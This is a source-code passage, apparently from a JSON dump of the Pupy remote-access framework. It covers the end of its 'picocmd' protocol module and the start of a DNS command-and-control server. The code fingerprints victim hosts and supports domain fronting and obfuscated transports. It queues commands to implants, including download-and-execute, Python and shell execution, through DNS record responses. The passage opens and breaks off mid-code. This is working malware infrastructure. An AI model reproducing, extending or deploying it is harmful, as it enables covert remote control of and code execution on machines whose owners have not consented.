'external_ip', 'internal_ip'\n    )\n\n    CURRENT_VERSION = 1\n    IS_ONLINE = 1 << 4\n    HAS_EXTERNAL_IP = 1 << 3\n    EXTERNAL_IP_IS_IPV6 = 1 << 2\n    HAS_INTERNAL_IP = 1 << 1\n    INTERNAL_IP_IS_IPV6 = 1 << 0\n\n    well_known_os_names = EncodingTable(\n        'Linux', 'Windows', 'SunOS', 'android'\n    )\n\n    well_known_cpu_archs = EncodingTable(\n        'unknown', 'x86', 'x64', 'arm', 'mips'\n    )\n\n    x86_re = re.compile(r'i[2-6]86')\n\n    @staticmethod\n    def _arch_to_type(arch):\n        arch = arch.lower().strip()\n\n        if SystemInfoEx.x86_re.match(arch) or arch == 'i86pc':\n            return 'x86'\n        elif arch in ('x86_64', 'amd64'):\n            return 'x64'\n        elif arch.startswith('arm'):\n            return 'arm'\n        elif arch.startswith('mips'):\n            return 'mips'\n        else:\n            return 'unknown'\n\n    def _initialize_from_current_system(self):\n        self.version = SystemInfoEx.CURRENT_VERSION\n        self.os = platform.system()\n        self.arch = SystemInfoEx._arch_to_type(platform.machine())\n        self.node = uuid.getnode()\n\n        try:\n            self.boottime = datetime.datetime.fromtimestamp(\n                psutil.boot_time()\n            )\n        except:\n            self.boottime = datetime.datetime.fromtimestamp(0)\n\n        self.external_ip = online.external_ip()\n        self.internet = online.online()\n\n        self.internal_ip = online.internal_ip()\n\n    def __init__(\n        self, version=None, os=None, arch=None, node=None, boottime=None,\n            external_ip=None, internal_ip=None, internet=None):\n\n        if all(var is None for var in (\n                version, os, arch, node, boottime,\n                external_ip, internal_ip, internet)):\n            self._initialize_from_current_system()\n        else:\n            self.version = version\n            self.os = os\n            self.arch = arch\n            self.node = node\n            self.boottime = boottime\n            self.internet = internet\n\n            if external_ip:\n                self.external_ip = netaddr.IPAddress(external_ip)\n            else:\n                self.external_ip = None\n\n            if internal_ip:\n                self.internal_ip = netaddr.IPAddress(internal_ip)\n            else:\n                self.internal_ip = None\n\n    def pack(self):\n        # 1b Version\n        # 1b OS, Arch (4b)\n        # 6b Node\n        # 4b BootTime\n        # 1b Flags\n        #    3 bits are reserved\n        #    Internet access present\n        #    External IP present\n        #    Is External IP - IPv6\n        #    Internal IP present\n        #    Is Internal IP - IPv6\n        # 4 - 16b - External IP\n        # 4 - 16b - Internal IP\n        # Total:  21 - 45b\n\n        flags = 0\n\n        internal_ip_packed = b''\n        external_ip_packed = b''\n\n        if self.internet:\n            flags |= SystemInfoEx.IS_ONLINE\n\n        if self.internal_ip is not None and self.internal_ip != self.external_ip:\n            flags |= SystemInfoEx.HAS_INTERNAL_IP\n            if self.internal_ip.version == 6:\n                flags |= SystemInfoEx.INTERNAL_IP_IS_IPV6\n\n            internal_ip_packed = self.internal_ip.packed\n\n        if self.external_ip is not None:\n            flags |= SystemInfoEx.HAS_EXTERNAL_IP\n            if self.external_ip.version == 6:\n                flags |= SystemInfoEx.EXTERNAL_IP_IS_IPV6\n\n            external_ip_packed = self.external_ip.packed\n\n        return b''.join([\n            chr(self.version),\n            chr(SystemInfoEx.well_known_os_names.encode(self.os) << 4 | \\\n                SystemInfoEx.well_known_cpu_archs.encode(self.arch)),\n            to_bytes(self.node, 6),\n            struct.pack('>I', int(time.mktime(self.boottime.timetuple()))),\n            chr(flags),\n            internal_ip_packed,\n            external_ip_packed,\n        ])\n\n    @staticmethod\n    def _unpack_v1(data):\n        version = ord(data[0])\n\n        os_arch = ord(data[1])\n        os = SystemInfoEx.well_known_os_names.decode((os_arch >> 4) & 0b1111)\n        arch = SystemInfoEx.well_known_cpu_archs.decode(os_arch & 0b1111)\n        node = from_bytes(data[2:2+6])\n        boottime, = struct.unpack('>I', data[8:8+4])\n\n        try:\n            boottime = datetime.datetime.fromtimestamp(boottime)\n        except:\n            boottime = None\n\n        flags = ord(data[12])\n\n        external_ip = None\n        internal_ip = None\n        internet = None\n\n        consumed = 13\n\n        internet = bool(flags & SystemInfoEx.IS_ONLINE)\n\n        if isset(flags, SystemInfoEx.HAS_INTERNAL_IP):\n            if isset(flags, SystemInfoEx.INTERNAL_IP_IS_IPV6):\n                internal_ip = unpack_ip_address(data[consumed:consumed+16])\n                consumed += 16\n            else:\n                internal_ip = unpack_ip_address(data[consumed:consumed+4])\n                consumed += 4\n\n        if isset(flags, SystemInfoEx.HAS_EXTERNAL_IP):\n            if isset(flags, SystemInfoEx.EXTERNAL_IP_IS_IPV6):\n                external_ip = unpack_ip_address(data[consumed:consumed+16])\n                consumed += 16\n            else:\n                external_ip = unpack_ip_address(data[consumed:consumed+4])\n                consumed += 4\n\n        return SystemInfoEx(\n            version, os, arch, node, boottime, external_ip, internal_ip, internet\n        ), consumed\n\n    @staticmethod\n    def unpack(data):\n        version = ord(data[0])\n        if version == 1:\n            return SystemInfoEx._unpack_v1(data)\n        else:\n            raise NotImplementedError(\n                'SystemInfoEx: Unsupported version {}'.format(version))\n\n    def __repr__(self):\n        return '{{SYSEX: OS={} ARCH={} NODE={:012X} IP={}/{} ' \\\n            'BOOT={} INTERNET={}}}'.format(\n                self.os, self.arch, self.node, self.external_ip,\n                self.internal_ip, self.boottime.ctime(),\n                self.internet\n            )\n\n\nclass ConnectEx(Command):\n    __slots__ = (\n        'address', 'port', 'fronting', 'transport', 'address_type'\n    )\n\n    IPV4 = 0b001\n    IPV6 = 0b010\n    TARGET_ID = 0b011\n\n    well_known_transports = EncodingTable(\n        'obfs3', 'kc4', 'http', 'rsa', 'ssl',\n        'scramblesuit', 'ssl_rsa', 'ec4', 'ws', 'ecm', 'dfws'\n    )\n\n    #  1        - FRONTING\n    #   111     - TYPE\n    #      0000 - RESERVED\n    #  11111111 - TRANSPORT\n    #  2x1      - PORT\n    #  2x1      - TARGET_ID\n    #  2x1      - FRONTING TARGET_ID (IF ANY, or NONE)\n    #      OR\n    #  4x1      - IPv4 ADDRESS\n    #      OR\n    #  16x1     - IPv6 ADDRESS\n\n    def __init__(self, address, port, transport, fronting=None):\n        self.address = None\n\n        if type(address) in (basestring, netaddr.IPAddress):\n            try:\n                self.address = netaddr.IPAddress(address)\n                if self.address.version == 6:\n                    self.address_type = ConnectEx.IPV6\n                else:\n                    self.address_type = ConnectEx.IPV4\n\n            except netaddr.AddrFormatError:\n                pass\n\n        elif type(address) in (long, int) and address >= 0 and address < 65536:\n            self.address = address\n            self.address_type = ConnectEx.TARGET_ID\n\n        else:\n            raise NotImplementedError(\n                'Unsupported address type {}'.format(type(address)))\n\n        self.port = int(port)\n        self.transport = transport\n        self.fronting = fronting\n\n    def __repr__(self):\n        return '{{CONNECT_EX {}:{} {}{}}}'.format(\n            self.address, self.port, self.transport,\n            ' FRONT={}'.format(self.fronting) if self.fronting else '')\n\n    def pack(self):\n        address = None\n        fronting = None\n        port = None\n\n        if self.address_type == ConnectEx.TARGET_ID:\n            address = struct.pack('>H', self.address)\n        else:\n            address = self.address.packed\n\n        if self.fronting:\n            if type(self.fronting) in (long, int) and \\\n                    self.fronting > 0 and self.fronting < 65536:\n                fronting = struct.pack('>H', self.fronting)\n            else:\n                raise NotImplementedError(\n                    'Address type {} is not supported'.format(type(self.fronting)))\n\n        port = struct.pack('>H', self.port)\n        transport = self.well_known_transports.encode(self.transport)\n\n        info_byte = 0b0\n        if fronting:\n            info_byte |= 1 << 7\n\n        info_byte |= self.address_type << 4\n\n        packed = b''.join([\n            chr(info_byte),\n            chr(transport),\n            port, address,\n            fronting if fronting else ''\n        ])\n\n        return packed\n\n    @staticmethod\n    def unpack(data):\n        info_byte = ord(data[0])\n        fronting = (info_byte >> 7) & 0b1\n        address_type = (info_byte >> 4) & 0b111\n\n        transport = ConnectEx.well_known_transports.decode(ord(data[1]))\n        port, = struct.unpack_from('>H', data[2:])\n\n        consumed = 4\n\n        if address_type == ConnectEx.IPV4:\n            address = unpack_ip_address(data[consumed:consumed+4])\n            consumed += 4\n        elif address_type == ConnectEx.IPV6:\n            address = unpack_ip_address(data[consumed:consumed+16])\n            consumed += 16\n        else:\n            target_id, = struct.unpack_from('>H', data[consumed:])\n            address = target_id\n            consumed += 2\n\n            if fronting:\n                frontinig_target_id, = struct.unpack_from('>H', data[consumed:])\n                fronting = frontinig_target_id\n                consumed += 2\n\n        return ConnectEx(address, port, transport, fronting), consumed\n\n\nclass RegisterHostnameId(Command):\n    __slots__ = ('hostname', 'id')\n\n    encoder = dns_encoder.DnsEncoder(dns_encoder_table.TREES)\n\n    def __init__(self, hid, hostname):\n        self.id = hid\n        self.hostname = hostname\n\n    def pack(self):\n        encoded_hostname = RegisterHostnameId.encoder.encode(self.hostname)\n        return struct.pack('>BH', len(encoded_hostname), self.id) + encoded_hostname\n\n    @staticmethod\n    def unpack(data):\n        encoded_len, hid = struct.unpack_from('>BH', data)\n        decoded, rest = RegisterHostnameId.encoder.decode(data[3:3+encoded_len])\n\n        return RegisterHostnameId(hid, decoded), 3 + encoded_len\n\n    def __repr__(self):\n        return '{{REGISTER HOSTNAME: {} => {}}}'.format(\n            self.id, self.hostname)\n\n\nclass DataTransferControl(Command):\n    __slots__ = ('transfer_id', 'total_size', 'crc', 'action')\n\n    ACTION_START = 0x0\n    ACTION_CANCEL = 0x1\n    ACTION_FINISH = 0x2\n    ACTION_CORRUPTED = 0x3\n\n    def __init__(self, action, transfer_id, total_size=None, crc=None):\n        if transfer_id > 0xF:\n            raise ValueError('transfer_id should be less than 0xF')\n\n        if action == DataTransferControl.ACTION_START:\n            if (total_size is None or crc is None):\n                raise ValueError('total_size and crc must be specified')\n\n            if type(crc) not in (int, long) or crc < 0 or crc > 0xFFFFFFFF:\n                raise ValueError('Invalid CRC field, should be uint32')\n\n            if total_size > 0xFFFF:\n                raise ValueError('total_size should be less than 0xFFFF')\n\n        if action > DataTransferControl.ACTION_CORRUPTED or \\\n                action < DataTransferControl.ACTION_START:\n            raise ValueError('Invalid action')\n\n        self.transfer_id = transfer_id\n        self.total_size = total_size\n        self.crc = crc\n\n    def _action_to_text(self):\n        if self.action == DataTransferControl.ACTION_START:\n            return 'START'\n        elif self.action == DataTransferControl.ACTION_CORRUPTED:\n            return 'CORRUPTED'\n        elif self.action == DataTransferControl.ACTION_FINISH:\n            return 'FINISH'\n        elif self.action == DataTransferControl.ACTION_CANCEL:\n            return 'CANCEL'\n        else:\n            return 'INVALID'\n\n    def __repr__(self):\n        return '{{DC {}: {}{}}}'.format(\n            self.transfer_id, self._action_to_text(),\n            ' size={} crc={:08X}'.format(\n                self.total_size, self.crc\n            ) if self.action == DataTransferControl.ACTION_START else ''\n        )\n\n    def pack(self):\n        packed = chr(self.action << 4 | self.transfer_id)\n        if self.action == DataTransferControl.ACTION_START:\n            packed += struct.pack('>HI', self.total_size, self.crc)\n\n        return packed\n\n    @staticmethod\n    def unpack(data):\n        control_byte = ord(data[0])\n        action = (control_byte >> 4) & 0xFFFF\n        transfer_id = control_byte & 0xFFFF\n        total_size = None\n        crc = None\n        consumed = 1\n\n        if action == DataTransferControl.ACTION_START:\n            total_size, crc = struct.unpack_from('>HI', data[1:])\n            consumed += 6\n\n        return DataTransferControl(action, transfer_id, total_size, crc), consumed\n\n\nclass DataTransferPayload(Command):\n    __slots__ = ('transfer_id', 'payload')\n\n    def __init__(self, transfer_id, payload):\n        if transfer_id > 0xF:\n            raise ValueError('transfer_id should be less than 0xF')\n\n        if len(payload) > 0xFF:\n            raise ValueError('one parcel should not have more than 256 bytes')\n\n        self.transfer_id = transfer_id\n        self.payload = payload\n\n    def __repr__(self):\n        return '{{DT {}: {}}}'.format(\n            self.transfer_id, repr(self.payload))\n\n    def pack(self):\n        return struct.pack(\n            '>BB', self.transfer_id, len(self.payload)) + self.payload\n\n    @staticmethod\n    def unpack(data):\n        transfer_id, payload_len = struct.unpack_from('>BB', data)\n        consumed = 2 + payload_len\n        return DataTransferPayload(transfer_id, data[2:consumed]), consumed\n\n\nclass InBandExecute(object):\n    __slots__ = ('method', 'transfer_id', 'output')\n\n    METHOD_STORE_EXECUTE = 0\n    METHOD_PYTHON_EXECUTE = 1\n    METHOD_SH_EXECUTE = 2\n    METHOD_NO_OUTPUT = 0x80\n\n    def __init__(self, method, transfer_id, output=False):\n        if transfer_id is None or transfer_id < 0 or transfer_id > 0xF:\n            raise ValueError('transfer_id should be less than 0xF')\n\n        if method < InBandExecute.METHOD_STORE_EXECUTE or \\\n                method > InBandExecute.METHOD_SH_EXECUTE:\n            raise ValueError('Invalid method')\n\n        self.output = output\n        self.method = method\n        self.transfer_id = transfer_id\n\n    def pack(self):\n        return chr(\n            (self.method & (0 if self.output else InBandExecute.METHOD_NO_OUTPUT)) << 4 & \\\n                (self.transfer_id & 0xF)\n        )\n\n    @staticmethod\n    def unpack(data):\n        control = ord(data[0])\n        method = (control >> 4) & 0x7\n        output = bool(control >> 7)\n        transfer_id = control & 0xF\n        return InBandExecute(method, transfer_id, output), 1\n\n    def _method_to_text(self):\n        if self.method == InBandExecute.METHOD_STORE_EXECUTE:\n            return 'download+exec'\n        elif self.method == InBandExecute.METHOD_PYTHON_EXECUTE:\n            return 'python'\n        elif self.method == InBandExecute.METHOD_PYTHON_EXECUTE:\n            return 'sh'\n        else:\n            return 'INVALID'\n\n    def __repr__(self):\n        return '{{IBE: TID={} METHOD={} OUTPUT={}}}'.format(\n            self.transfer_id, self._method_to_text(), self.output\n        )\n\n\nclass Error(Command):\n\n    __slots__ = ('error', 'message')\n\n    errors = EncodingTable(\n        'NO_ERROR', 'NO_SESSION', 'NO_COMMAND',\n        'NO_POLICY', 'CRC_FAILED', 'EXCEPTION'\n    )\n\n    def __init__(self, error, message=''):\n        self.error = error\n        self.message = message\n\n    def pack(self):\n        if len(self.message) > 25:\n            raise PackError('Message too big')\n\n        return struct.pack('B', self.errors.encode(self.error) << 5 | len(self.message))+self.message\n\n    def __repr__(self):\n        return '{{{}{}}}'.format(self.error, ': '+self.message if self.message else '')\n\n    @staticmethod\n    def unpack(data):\n        header = ord(data[0])\n        code = (header >> 5) & 7\n        length = header & 31\n        return Error(Error.errors.decode(code), data[1:1+length]), 1+length\n\n\nclass CustomEvent(Command):\n    __slots__ = ('eventid',)\n\n    def __init__(self, eventid):\n        self.eventid = eventid\n\n    def pack(self):\n        return struct.pack('>I', self.eventid)\n\n    @staticmethod\n    def unpack(data):\n        eventid, = struct.unpack_from('>I', data)\n        return CustomEvent(eventid), 4\n\n\nclass ParcelInvalidCrc(Exception):\n\n    __slots__ = ()\n\n    @property\n    def error(self):\n        return Error('CRC_FAILED')\n\n\nclass ParcelInvalidPayload(Exception):\n\n    __slots__ = ()\n\n    @property\n    def error(self):\n        return Error('CRC_FAILED')\n\n\nclass ParcelInvalidCommand(Exception):\n\n    __slots__ = ('command',)\n\n    def __init__(self, command):\n        self.command = command\n\n    def __repr__(self):\n        return 'Unknown command: {}'.format(self.command)\n\n\nclass Parcel(object):\n\n    __slots__ = ('commands',)\n\n    # Explicitly define commands. In other case make break something\n\n    registered_commands = EncodingTable(\n        Poll, Ack, Policy, Idle, Kex,\n        Connect, PasteLink, SystemInfo, Error, Disconnect, Exit,\n        Sleep, Reexec, DownloadExec, CheckConnect, SystemStatus,\n        SetProxy, OnlineStatusRequest, OnlineStatus, ConnectablePort,\n        PortQuizPort, PupyState, CustomEvent,\n        # V2 Commands\n        SystemInfoEx, ConnectEx, RegisterHostnameId,\n        DataTransferControl, DataTransferPayload, InBandExecute\n    )\n\n    def __init__(self, commands):\n        missing = set()\n\n        for command in commands:\n            kommand = type(command)\n\n            if not Parcel.registered_commands.is_registered(kommand):\n                missing.add(kommand)\n\n        if missing:\n            raise ParcelInvalidCommand(missing)\n\n        self.commands = commands\n\n    def __iter__(self):\n        return iter(self.commands)\n\n    def __len__(self):\n        return len(self.commands)\n\n    @staticmethod\n    def _gen_crc32(data, nonce):\n        crc = binascii.crc32(data)\n        return struct.pack('>i', crc)\n\n    @staticmethod\n    def _check_crc32(data, nonce, crc):\n        crc2 = binascii.crc32(data)\n        return struct.unpack('>i', crc)[0] == crc2\n\n    def pack(self, nonce, gen_csum=None):\n        gen_csum = gen_csum or Parcel._gen_crc32\n\n        data = b''.join([\n            chr(self.registered_commands.encode(type(command))) + command.pack() for command in self.commands\n        ])\n\n        return gen_csum(data, nonce) + data\n\n    def __repr__(self):\n        return '|PARCEL: {}|'.format(str(self.commands))\n\n    @staticmethod\n    def unpack(data, nonce, check_csum=None):\n\n        check_csum = check_csum or Parcel._check_crc32\n\n        messages = []\n\n        if len(data) < 4:\n            raise ParcelInvalidPayload(\n                'Too small payload: {}'.format(len(data)))\n\n        csum_data, data = data[:4], data[4:]\n\n        try:\n            if not check_csum(data, nonce, csum_data):\n                raise ParcelInvalidCrc()\n\n            while data:\n                command, data = data[:1], data[1:]\n                cmd, offt = Parcel.registered_commands.decode(\n                    ord(command)).unpack(data)\n                messages.append(cmd)\n                data = data[offt:]\n\n        except struct.error as e:\n            raise ParcelInvalidPayload('Unpack Failed: {}'.format(e))\n\n        return Parcel(messages)\n"
  },
  {
    "path": "pupy/network/lib/picocmd/server.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'convert_node',\n    'Session',\n    'DnsCommandServerHandler',\n    'DnsCommandServer',\n\n    'DnsNoCommandServerException',\n    'DnsPingRequest',\n    'DnsCommandServerException',\n\n    'SessionDependedCommand'\n)\n\nimport struct\nimport random\nimport base64\nimport time\nimport string\n\nimport zlib\nimport hashlib\n\nimport functools\nimport logging\n\ntry:\n    from pupy.pupylib import getLogger\n    logger = getLogger('dnscnc')\nexcept ImportError:\n    logger = logging.getLogger('dnscnc')\n\nimport socket\nimport socketserver\nimport binascii\nimport netaddr\n\nfrom threading import Thread, RLock, Event\n\nfrom dnslib import DNSRecord, RR, QTYPE, A, AAAA, EDNS0, RCODE\nfrom dnslib.server import DNSHandler, BaseResolver, DNSLogger\n\nfrom . import ascii85\n\nfrom .picocmd import (\n    Poll, Ack,\n    SystemStatus, OnlineStatus,\n    Exit, ConnectablePort, PortQuizPort,\n    Policy, Kex, SystemInfo,\n    PupyState,\n    SystemInfoEx, AddressTable,\n    Error, ParcelInvalidCrc,\n    ParcelInvalidPayload,\n    Parcel, PackError, CustomEvent,\n    PayloadTooBig,\n    from_bytes\n)\n\nfrom pupy.network.lib.transports.cryptoutils import ECPV\nfrom pupy.network.lib.compat import (\n    as_byte, is_int, is_str, xrange\n)\n\nblocks_logger = logger.getChild('whitelist')\n\n\nSUPPORTED_METHODS = {\n    QTYPE.A: A,\n    QTYPE.AAAA: AAAA,\n}\n\n\ndef convert_node(node):\n    try:\n        return str(netaddr.IPAddress(node))\n    except netaddr.core.AddrFormatError:\n        return int(node, 16)\n\n\nclass DeprecatedVersion(Exception):\n    pass\n\n\nclass UnknownVersion(Exception):\n    pass\n\n\nclass NodeBlocked(Exception):\n    pass\n\n\nclass SessionDependedCommand(object):\n    __slots__ = ('rules', 'default')\n\n    def __init__(self, default, *rules):\n        self.rules = rules\n        self.default = default\n\n    def add_to_session(self, session):\n        amount = 0\n\n        if self.rules:\n            for rule in self.rules:\n                if isinstance(rule, (tuple, list)):\n                    min_version, commands = rule\n                    if session.system_info_version is not None and \\\n                            session.system_info_version >= min_version:\n                        if hasattr(commands, '__iter__') \\\n                                and not isinstance(commands, str):\n                            for command in commands:\n                                session.add_command(command)\n                                amount += 1\n                        else:\n                            session.add_command(commands)\n                            amount = 1\n\n                        return amount\n                else:\n                    result = rule(session)\n                    if result is not None:\n                        if hasattr(result, '__iter__') \\\n                                and not isinstance(result, str):\n                            for command in result:\n                                session.add_command(command)\n                                amount += 1\n                        else:\n                            session.add_command(result)\n                            amount = 1\n\n                        return amount\n\n        if hasattr(self.default, '__iter__') \\\n                and not isinstance(self.default, str):\n            for command in self.default:\n                session.add_command(command)\n                amount += 1\n        else:\n            session.add_command(self.default)\n            amount = 1\n\n        return amount\n\n\nclass ExpirableObject(object):\n\n    __slots__ = (\n        '_start', '_last_access',\n        '_additional_timeout', 'timeout'\n    )\n\n    def __init__(self, timeout):\n        self.timeout = timeout\n\n        self._start = time.time()\n        self._last_access = 0\n\n        self.bump()\n\n        self._additional_timeout = 240\n\n    @property\n    def expired(self):\n        return (self.idle > self.timeout + self._additional_timeout)\n\n    @property\n    def idle(self):\n        return int(time.time() - self._last_access)\n\n    @property\n    def duration(self):\n        return int(time.time() - self._start)\n\n    def bump(self):\n        self._last_access = time.time()\n        self._additional_timeout = 0\n\n\nclass Node(ExpirableObject):\n    __slots__ = (\n        'node', 'cid', 'iid', 'version',\n        'commands', 'alert',\n        '_warning', '_warning_set_time'\n    )\n\n    def __init__(\n        self, node, timeout, cid=0x31337, iid=0,\n            version=1, commands=[], alert=False):\n        super(Node, self).__init__(timeout)\n        self.node = node\n        self.cid = cid\n        self.iid = iid\n        self.version = version\n        self.commands = commands or []\n        self.alert = alert\n        self._warning = None\n        self._warning_set_time = None\n\n    @property\n    def warning(self):\n        if not self._warning:\n            return None\n\n        if time.time() < self._warning_set_time + self.timeout:\n            self._warning = None\n            return None\n\n        return self._warning\n\n    @warning.setter\n    def warning(self, warning):\n        self._warning = warning\n        self._warning_set_time = time.time()\n\n    def add_command(self, command):\n        if not self.commands:\n            self.commands = [command]\n        else:\n            self.commands.append(command)\n\n    def __repr__(self):\n        return \\\n            '{{NODE:{:012X} IID:{} CID:{:08X} ALERT:{} COMMANDS:{}}}'.format(\n                self.node, self.iid, self.cid, self.alert, len(self.commands)\n            )\n\n\nclass Session(ExpirableObject):\n\n    __slots__ = (\n        'spi', 'node', 'cid',\n        'system_info', 'system_status', 'online_status',\n        'open_ports', 'egress_ports', 'commands',\n        'last_nonce', 'last_qname', 'pstore_dirty', 'connected',\n        'system_info_version', 'registered_hosts',\n        'cache', '_encoder',\n        '_pstore_dirty_reported', '_users_cnt_reported',\n        '_high_resource_usage_reported', '_user_active_reported'\n    )\n\n    def __init__(self, node, cid, spi, encoder, commands, timeout):\n        super(Session, self).__init__(timeout)\n\n        self._encoder = encoder\n\n        self.node = node\n        self.cid = cid\n        self.spi = spi\n        self.system_info_version = None\n        self.system_info = None\n        self.system_status = None\n        self.online_status = None\n        self.open_ports = {}\n        self.egress_ports = set()\n        self.commands = commands\n        self.last_nonce = None\n        self.last_qname = None\n        self.pstore_dirty = False\n        self.connected = False\n        self.cache = {}\n        self.registered_hosts = AddressTable()\n\n        self._pstore_dirty_reported = False\n        self._users_cnt_reported = None\n        self._high_resource_usage_reported = False\n        self._user_active_reported = None\n\n    @property\n    def encoder(self):\n        return self._encoder\n\n    def add_command(self, command):\n        if not self.commands:\n            self.commands = [command]\n        else:\n            self.commands.append(command)\n\n    def __repr__(self):\n        return '{{SESSION {:08x} {}}}'.format(\n            self.spi, self.system_info or ''\n        )\n\n\nclass DnsNoCommandServerException(Exception):\n    pass\n\n\nclass DnsPingRequest(Exception):\n    pass\n\n\nclass DnsActivationRequest(Exception):\n    pass\n\n\nclass DnsCommandServerException(Exception):\n\n    __slots__ = ('message', 'nonce', 'version', 'domain')\n\n    def __init__(self, message, nonce, version, domain):\n        self.message = message\n        self.nonce = nonce\n        self.version = version\n        self.domain = domain\n\n    @property\n    def error(self):\n        return Error(self.message)\n\n    def __str__(self):\n        return '{}: (d={} v={} n={})'.format(\n            self.message, self.nonce, self.version, self.domain)\n\n    def __repr__(self):\n        return repr(self.error)\n\n\ndef activator(activation, key):\n    def _activator(seed):\n        parts = struct.unpack(\n            'BBBB', hashlib.md5(\n                seed + activation[seed] + key).digest()[:4]\n        )\n        return '.'.join(str(part) for part in parts)\n\n    return _activator\n\n\nclass DnsCommandServerHandler(BaseResolver):\n    ENCODER_V1 = 0\n    ENCODER_V2 = 1\n\n    def __init__(\n        self, domain, key, recursor=None, timeout=None,\n            whitelist=None, edns=False, activation={}):\n\n        self.sessions = {}\n        self.nodes = {}\n        self.domain = domain\n        self.recursor = recursor\n        self.encoders = (\n            ECPV(private_key=key[0]),\n            ECPV(private_key=key[1], curve='brainpoolP224r1')\n        )\n        self.translation = dict(zip(\n            ''.join([\n                string.ascii_lowercase,\n                '-',\n                string.digits\n            ]).encode('ascii'),\n            ''.join([\n                string.ascii_uppercase,\n                string.digits,\n                '=',\n            ]).encode('ascii')\n        ))\n\n        self.interval = 30\n        self.kex = True\n        self.timeout = timeout or self.interval*3\n        self.commands = []\n        self.node_commands = {}\n        self.lock = RLock()\n        self.finished = Event()\n        self.whitelist = whitelist\n        self.edns = edns\n        self.activation = activation\n        self.activator = activator(activation, key[0])\n\n    def max_payload_len(self, query_len, record_len):\n        # Calculate max packet size\n\n        # https://tools.ietf.org/html/rfc791\n        #  All hosts must be prepared to accept datagrams of up to 576\n        # octets (whether they arrive whole or in fragments).  It is\n        # recommended that hosts only send datagrams larger than 576 octets\n        # if they have assurance that the destination is prepared to\n        # accept the larger datagrams.\n\n        # https://dnsflagday.net/\n        # Default expected UDP DNS payload size = 512B\n        # EDNS Record size = 11B\n        # Query header size = len(domain) + 2 + 4\n        # Answer header size = 2 {if name = .} + 10 + len(record)\n\n        # Default length limited to 256B to spend only 1 byte for info about\n        # the length.\n        # Each payload has index field\n        # As request is dynamic, we don't count it here, but in encoder\n\n        # Efficiency:\n        # A Records ~ 15%\n        # AAAA Records ~ 45%\n\n        domain_len = 1 + len(self.domain) + query_len + 1\n        query_header_len = 4 + domain_len\n        edns_len = 11\n\n        dns_packet_room = 512 - (query_header_len + edns_len)\n\n        answer_len = 2 + 10 + record_len\n\n        max_records = dns_packet_room // answer_len\n        max_size = max_records * (record_len - 1)\n\n        packet_length_len = 1\n\n        return max_size - packet_length_len\n\n    def cleanup(self):\n        while not self.finished.is_set():\n            with self.lock:\n                to_remove = []\n\n                for spi, session in self.sessions.items():\n                    if session.expired:\n                        to_remove.append(spi)\n\n                for spi in to_remove:\n                    self.on_session_cleaned_up(self.sessions[spi])\n                    del self.sessions[spi]\n\n                to_remove = []\n\n                for key, node in self.nodes.items():\n                    if node.expired:\n                        to_remove.append(key)\n\n                for key in to_remove:\n                    del self.nodes[key]\n\n                self.cache = {}\n\n            time.sleep(self.timeout)\n\n    def locked(f):\n        @functools.wraps(f)\n        def wrapped(self, *args, **kwargs):\n            with self.lock:\n                return f(self, *args, **kwargs)\n        return wrapped\n\n    def _nodes_by_nodeids(self, ids):\n        return [\n            node for (nodeid, iid), node in self.nodes.items()\n            if nodeid in ids\n        ]\n\n    def _sessions_by_nodeids(self, ids):\n        return [\n            session for session in self.sessions\n            if self.sessions[session].node in ids\n        ]\n\n    def _nodeids_with_sessions(self, ids):\n        return set([\n            session.node for session in self.sessions\n            if self.sessions[session].node in ids\n        ])\n\n    @locked\n    def add_command(self, command, session=None, default=False):\n        if not isinstance(command, SessionDependedCommand):\n            command = SessionDependedCommand(command)\n\n        if default and session:\n            nodes = session\n\n            if is_str(nodes):\n                nodes = [convert_node(x) for x in nodes.split(',')]\n            elif is_int(nodes):\n                nodes = [nodes]\n\n            idx = 0\n\n            nodes_with_sessions = self._nodeids_with_sessions(nodes)\n\n            for node in self._nodes_by_nodeids(nodes):\n                if node.node in nodes_with_sessions:\n                    continue\n\n                node.add_command(command.default)\n\n            for nodeid in nodes:\n                if nodeid not in self.node_commands:\n                    self.node_commands[nodeid] = []\n\n                self.node_commands[nodeid].append(command.default)\n                idx += 1\n\n            return idx\n\n        if default:\n            self.commands.append(command.default)\n\n        if session:\n            sessions = self.find_sessions(spi=session) or \\\n              self.find_sessions(node=session)\n\n            if not sessions:\n                return 0\n\n            count = 0\n            if type(sessions) in (list, tuple):\n                for session in sessions:\n                    command.add_to_session(session)\n                    count += 1\n            else:\n                count = 1\n                command.add_to_session(sessions)\n\n            return count\n        else:\n            count = 0\n            for session in self.find_sessions():\n                command.add_to_session(session)\n                count += 1\n\n            return count\n\n    @locked\n    def reset_commands(self, session=None, default=False):\n        if default and session:\n            nodes = session\n            if is_str(nodes):\n                nodes = [convert_node(x) for x in nodes.split(',')]\n            elif is_int(nodes):\n                nodes = [nodes]\n\n            idx = 0\n            for node in self._nodes_by_nodeids(nodes):\n                self.commands = []\n\n            for nodeid in nodes:\n                if nodeid in self.node_commands:\n                    del self.node_commands[nodeid]\n                    idx += 1\n\n            return idx\n\n        if default:\n            self.commands = []\n\n        if session:\n            sessions = self.find_sessions(spi=session) or \\\n              self.find_sessions(node=session)\n\n            if not sessions:\n                return 0\n\n            count = 0\n            if type(sessions) in (list, tuple):\n                for session in sessions:\n                    session.commands = []\n                    count += 1\n            else:\n                count = 1\n                sessions.commands = []\n\n            return count\n        else:\n            count = 0\n            for session in self.find_sessions():\n                if session.commands:\n                    session.commands = []\n                    count += 1\n            return count\n\n    @locked\n    def find_nodes(self, node):\n        if node is None:\n            return self.nodes.values()\n\n        if is_str(node):\n            node = [convert_node(x) for x in node.split(',')]\n        elif is_int(node):\n            node = [node]\n\n        return self._nodes_by_nodeids(node)\n\n    @locked\n    def find_sessions(self, spi=None, node=None):\n        if spi:\n            if is_str(spi):\n                spi = [int(x, 16) for x in spi.split(',')]\n            elif is_int(spi):\n                spi = [spi]\n\n        if node:\n            if is_str(node):\n                node = [convert_node(x) for x in node.split(',')]\n            elif is_int(node):\n                node = [node]\n\n        if not (spi or node):\n            return [\n                session for session in self.sessions.values()\n                if session.system_info is not None\n            ]\n        elif spi:\n            return [\n                self.sessions[x] for x in spi if x in self.sessions\n            ]\n        elif node:\n            return [\n                session for session in self.sessions.values()\n                if session.cid == node or session.node == node or (\n                    session.system_info and (\n                        session.system_info['node'] in set(node) or\n                        str(session.system_info['external_ip']) in set(node)\n                    )\n                )\n            ]\n\n    @locked\n    def set_policy(self, kex=True, timeout=None, interval=None, node=None):\n        if 